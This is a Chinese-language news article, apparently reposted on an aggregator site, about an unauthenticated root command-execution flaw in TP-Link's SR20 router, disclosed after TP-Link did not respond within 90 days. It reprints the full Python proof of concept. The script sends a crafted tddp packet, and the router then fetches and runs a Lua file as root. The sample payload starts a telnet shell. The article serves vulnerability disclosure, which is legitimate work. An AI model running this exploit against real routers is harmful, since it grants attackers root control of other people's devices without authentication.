TP-Link 不迴應,安全工程師公開了其路由器漏洞

此前 Google 安全工程師在 TP-Link 的 SR20 智能家居路由器上發現了一個容許從本地網絡鏈接執行任意命令的漏洞,他們將問題報告給 TP-Link,可是通過了 90 天尚未獲得官方的迴應,因而他公開了該漏洞。python

該問題由著名的 Google 安全工程師與開源貢獻者 Matthew Garrett 披露,週三他公開的 38 行概念驗證代碼顯示出在利用 SR20 的漏洞時能夠使用 root 權限執行設備上的任何命令,而且無需身份驗證。shell

Matthew 解釋,TP-Link 路由器常常以 root 身份運行名爲「tddp」(TP-Link Device Debug Protocol,TP-Link設備調試協議)的進程。它已經存在了多個漏洞,其中一個沒有身份驗證。安全

「SR20 暴露了一些第一個版本協議的命令,其中一個(命令 0x1f,請求 0x01)彷佛是用於某種配置驗證」,他說:「你發送文件和相應參數,收到命令後,路由器經過 TFTP 響應請求的機器,詢問文件名,將其導入 Lua 解釋器,以 root 身份運行,並將參數發送到導入文件中的 config_test() 函數。Lua os.execute() 方法傳遞一個由操做系統 shell 執行的命令。」網絡

因爲解釋器以 root 身份運行,因此能夠執行任意命令。socket

#!/usr/bin/python3

# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)
相關文章
相關標籤/搜索